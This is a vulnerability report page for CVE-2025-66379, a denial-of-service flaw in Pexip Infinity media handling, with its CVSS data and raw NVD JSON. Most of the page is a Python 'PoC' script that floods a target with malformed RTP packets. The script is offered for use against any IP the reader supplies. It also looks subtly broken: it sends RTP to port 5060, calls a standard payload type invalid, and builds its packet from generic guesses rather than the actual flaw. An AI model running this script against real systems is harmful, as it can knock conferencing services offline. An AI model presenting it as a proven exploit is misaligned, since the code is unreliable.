Security Vulnerability Report
中文
CVE-2025-66379 CVSS 7.5 HIGH

CVE-2025-66379

Published: 2025-12-25 05:16:10
Last Modified: 2026-01-05 18:51:21

Description

Pexip Infinity before 39.0 has Improper Input Validation in the media implementation, allowing a remote attacker to trigger a software abort via a crafted media stream, resulting in a denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:* - VULNERABLE
Pexip Infinity < 39.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66379 PoC - Pexip Infinity DoS via Malformed Media Stream # This PoC demonstrates sending a crafted media stream to trigger the vulnerability import socket import struct import random def create_crafted_rtp_packet(): """ Create a malformed RTP packet with invalid payload to trigger input validation issue """ # RTP Header (12 bytes) version = 2 padding = 0 extension = 1 # Set extension to trigger additional processing csrc_count = 0 marker = 0 payload_type = 0 # Invalid/unusual payload type sequence_number = random.randint(0, 65535) timestamp = random.randint(0, 4294967295) ssrc = random.randint(0, 4294967295) # First byte: V(2) + P(1) + X(1) + CC(4) first_byte = (version << 6) | (padding << 5) | (extension << 4) | csrc_count # Second byte: M(1) + PT(7) second_byte = (marker << 7) | payload_type header = bytes([ first_byte, second_byte, (sequence_number >> 8) & 0xFF, sequence_number & 0xFF, (timestamp >> 24) & 0xFF, (timestamp >> 16) & 0xFF, (timestamp >> 8) & 0xFF, timestamp & 0xFF, (ssrc >> 24) & 0xFF, (ssrc >> 16) & 0xFF, (ssrc >> 8) & 0xFF, ssrc & 0xFF ]) # Extension header (triggers processing path with potential validation issue) extension_header = struct.pack('!HH', 0xBEDE, 1) # RFC 3550 extension header # Malformed extension data - oversized or invalid values extension_data = b'\x00' * 1000 + b'\xff' * 100 # Invalid payload data payload = b'\x00' * 2000 return header + extension_header + extension_data + payload def exploit_pexip(target_ip, target_port=5060): """ Send crafted RTP packets to trigger the vulnerability """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print(f"[*] Sending crafted media stream to {target_ip}:{target_port}") print(f"[*] CVE-2025-66379 - Improper Input Validation in Pexip Infinity Media") for i in range(100): packet = create_crafted_rtp_packet() try: sock.sendto(packet, (target_ip, target_port)) print(f"[*] Sent packet {i+1}") except Exception as e: print(f"[!] Error sending packet: {e}") break sock.close() print("[*] Exploit completed") if __name__ == "__main__": # Target configuration TARGET_IP = "192.168.1.100" # Replace with actual target IP TARGET_PORT = 5060 # Default SIP port print("=" * 60) print("CVE-2025-66379 PoC - Pexip Infinity DoS") print("=" * 60) exploit_pexip(TARGET_IP, TARGET_PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66379", "sourceIdentifier": "[email protected]", "published": "2025-12-25T05:16:09.603", "lastModified": "2026-01-05T18:51:20.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pexip Infinity before 39.0 has Improper Input Validation in the media implementation, allowing a remote attacker to trigger a software abort via a crafted media stream, resulting in a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:*", "versionEndExcluding": "39.0", "matchCriteriaId": "6DB08854-7655-4489-8B76-0654CC896FFE"}]}]}], "references": [{"url": "https://docs.pexip.com/admin/security_bulletins.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}